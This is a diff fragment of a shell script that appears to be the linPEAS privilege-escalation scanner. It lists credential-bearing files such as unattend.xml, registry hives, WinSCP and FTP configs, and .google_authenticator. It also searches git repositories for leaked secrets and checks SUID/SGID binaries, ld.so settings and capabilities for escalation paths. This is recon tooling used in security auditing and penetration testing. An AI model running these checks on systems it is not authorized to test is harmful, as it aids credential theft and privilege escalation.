+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"https-xampp\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https-xampp.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "https-xampp\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,https-xampp\.conf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"https\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "https\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,https\.conf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"iis6\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "iis6.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "iis6\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,iis6\.log$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"index\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "index.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "index\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,index\.dat$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"my\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.cnf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "my\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,my\.cnf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"my\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "my\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,my\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ntuser\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ntuser.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ntuser\.dat$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ntuser\.dat$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"pagefile\.sys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pagefile.sys"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "pagefile\.sys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pagefile\.sys$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"printers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "printers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "printers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,printers\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"scclient\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scclient.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "scclient\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,scclient\.exe$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"scheduledtasks\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scheduledtasks.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "scheduledtasks\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,scheduledtasks\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"security\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "security.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "security\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,security\.sav$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"server\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "server.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "server\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,server\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"setupinfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "setupinfo$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,setupinfo$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"setupinfo\.bak$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo.bak"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "setupinfo\.bak$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,setupinfo\.bak$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sitemanager\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sitemanager.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sitemanager\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sitemanager\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"software$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "software$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,software$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"software\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "software\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,software\.sav$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.inf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"sysprep\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "sysprep\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sysprep\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"system\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "system\.sav$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,system\.sav$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.txt$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattended\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattended.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattended\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattended\.xml$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"web.*\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "web*.config"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "web.*\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,web.*\.config$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"wsl\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wsl.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "wsl\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wsl\.exe$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"plum\.sqlite$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "plum.sqlite"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "plum\.sqlite$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,plum\.sqlite$,${SED_RED},"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_OTHER_INTERESTING" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Other Interesting Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.bashrc$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".bashrc"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.bashrc$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.bashrc$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.google_authenticator$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".google_authenticator"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.google_authenticator$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.google_authenticator$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"hosts\.equiv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "hosts.equiv"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "hosts\.equiv$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,hosts\.equiv$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.lesshst$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".lesshst"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.lesshst$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.lesshst$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.plan$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".plan"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.plan$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.plan$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.profile$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".profile"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.profile$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.profile$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.recently-used\.xbel$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".recently-used.xbel"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.recently-used\.xbel$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.recently-used\.xbel$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.rhosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".rhosts"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.rhosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rhosts$,${SED_RED},"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_OTHER_INTERESTING\" | grep -E \"\.sudo_as_admin_successful$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".sudo_as_admin_successful"; fi; fi; printf "%s" "$PSTORAGE_OTHER_INTERESTING" | grep -E "\.sudo_as_admin_successful$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.sudo_as_admin_successful$,${SED_RED},"; done; echo "";
+fi
+
+
+if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
+ print_2title "Checking leaks in git repositories"
+ printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do
+ if echo "$f" | grep -Eq ".git$"; then
+ git_dirname=$(dirname "$f")
+ if [ "$MACPEAS" ]; then
+ execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
+ else
+ execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
+ fi
+ fi
+ done
+fi
+
+fi
+echo ''
+echo ''
+if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi
+
+if echo $CHECKS | grep -q interesting_perms_files; then
+print_title "Files with Interesting Permissions"
+###########################################
+#-) Files with Interesting Permissions (-#
+###########################################
+
+check_critial_root_path(){
+ folder_path="$1"
+ if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
+ if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
+ if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
+}
+
+
+
+
+##-- IPF) SUID
+print_2title "SUID - Check easy privesc, exploits and write perms"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
+if ! [ "$STRINGS" ]; then
+ echo_not_found "strings"
+fi
+if ! [ "$STRACE" ]; then
+ echo_not_found "strace"
+fi
+suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
+for s in $suids_files; do
+ s=$(ls -lahtr "$s")
+ # If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
+ if echo "$s" | grep -qE "^total"; then break; fi
+
+ sname="$(echo $s | awk '{print $9}')"
+ if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
+ true # Don't do nothing
+ elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
+ echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
+ elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits)
+ echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else
+ c="a"
+ for b in $sidB; do
+ if echo $s | grep -q $(echo $b | cut -d % -f 1); then
+ echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
+ c=""
+ break;
+ fi
+ done;
+ if [ "$c" ]; then
+ if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
+ echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
+ else
+ echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
+ printf $ITALIC
+ if ! [ "$FAST" ]; then
+
+ if [ "$STRINGS" ]; then
+ $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
+ sline_first="$(echo "$sline" | cut -d ' ' -f1)"
+ if echo "$sline_first" | grep -qEv "$cfuncs"; then
+ if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path
+ if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable
+ printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
+ fi
+ else #If not a path
+ if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then # Check if existing binary
+ printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
+ fi
+ fi
+ fi
+ done
+ fi
+
+ if [ "$LDD" ] || [ "$READELF" ]; then
+ echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
+ fi
+ if [ "$LDD" ]; then
+ "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ fi
+ if [ "$READELF" ]; then
+ "$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ fi
+
+ if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
+ printf $ITALIC
+ echo "----------------------------------------------------------------------------------------"
+ echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
+ OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
+ export LD_LIBRARY_PATH=""
+ timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
+ printf $NC
+ export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
+ echo "----------------------------------------------------------------------------------------"
+ echo ""
+ fi
+
+ fi
+ fi
+ fi
+ fi
+done;
+echo ""
+
+
+##-- IPF) SGID
+print_2title "SGID"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
+sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
+for s in $sgids_files; do
+ s=$(ls -lahtr "$s")
+ # If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
+ if echo "$s" | grep -qE "^total";then break; fi
+
+ sname="$(echo $s | awk '{print $9}')"
+ if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
+ true #Don't do nothing
+ elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
+ echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
+ elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits)
+ echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
+ else
+ c="a"
+ for b in $sidB; do
+ if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
+ echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
+ c=""
+ break;
+ fi
+ done;
+ if [ "$c" ]; then
+ if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
+ echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
+ else
+ echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
+ printf $ITALIC
+ if ! [ "$FAST" ]; then
+
+ if [ "$STRINGS" ]; then
+ $STRINGS "$sname" | sort | uniq | while read sline; do
+ sline_first="$(echo $sline | cut -d ' ' -f1)"
+ if echo "$sline_first" | grep -qEv "$cfuncs"; then
+ if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then # If a path
+ if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then # And modifiable
+ printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
+ fi
+ else # If not a path
+ if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then # Check if existing binary
+ printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
+ fi
+ fi
+ fi
+ done
+ fi
+
+ if [ "$LDD" ] || [ "$READELF" ]; then
+ echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
+ fi
+ if [ "$LDD" ]; then
+ "$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ fi
+ if [ "$READELF" ]; then
+ "$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ fi
+
+ if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
+ printf "$ITALIC"
+ echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
+ timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
+ printf "$NC"
+ echo ""
+ fi
+
+ fi
+ fi
+ fi
+ fi
+done;
+echo ""
+
+##-- IPF) Misconfigured ld.so
+if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
+ print_2title "Checking misconfigurations of ld.so"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so"
+ if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then
+ echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ printf $RED$ITALIC"/etc/ld.so.conf\n"$NC;
+ else
+ printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC;
+ fi
+
+ echo "Content of /etc/ld.so.conf:"
+ cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+
+ # Check each configured folder
+ cat /etc/ld.so.conf 2>/dev/null | while read l; do
+ if echo "$l" | grep -q include; then
+ ini_path=$(echo "$l" | cut -d " " -f 2)
+ fpath=$(dirname "$ini_path")
+
+ if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then
+ echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ printf $RED_YELLOW$ITALIC"$fpath\n"$NC;
+ else
+ printf $GREEN$ITALIC"$fpath\n"$NC;
+ fi
+
+ if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then
+ echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ fi
+
+ for f in $fpath/*; do
+ if [ -w "$f" ]; then
+ echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ printf $RED_YELLOW$ITALIC"$f\n"$NC;
+ else
+ printf $GREEN$ITALIC" $f\n"$NC;
+ fi
+
+ cat "$f" | grep -v "^#" | while read l2; do
+ if [ -f "$l2" ] && [ -w "$l2" ]; then
+ echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ printf $RED_YELLOW$ITALIC" - $l2\n"$NC;
+ else
+ echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g";
+ fi
+ done
+ done
+ fi
+ done
+ echo ""
+
+
+ if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then
+ echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},";
+ else
+ printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC;
+ fi
+ cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
+ cat /etc/ld.so.preload 2>/dev/null | while read l; do
+ if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
+ done
+
+fi
+
+##-- IPF) Capabilities
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Capabilities"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
+ if [ "$(command -v capsh)" ]; then
+
+ print_3title "Current shell capabilities"
+ cat "/proc/$$/status" | grep Cap | while read -r cap_line; do
+ cap_name=$(echo "$cap_line" | awk '{print $1}')
+ cap_value=$(echo "$cap_line" | awk '{print $2}')
+ if [ "$cap_name" = "CapEff:" ]; then
+ echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
+ else
+ echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
+ fi
+ done
+ echo ""
+
+ print_3title "Parent process capabilities"
+ cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do
+ cap_name=$(echo "$cap_line" | awk '{print $1}')
+ cap_value=$(echo "$cap_line" | awk '{print $2}')
+ if [ "$cap_name" = "CapEff:" ]; then
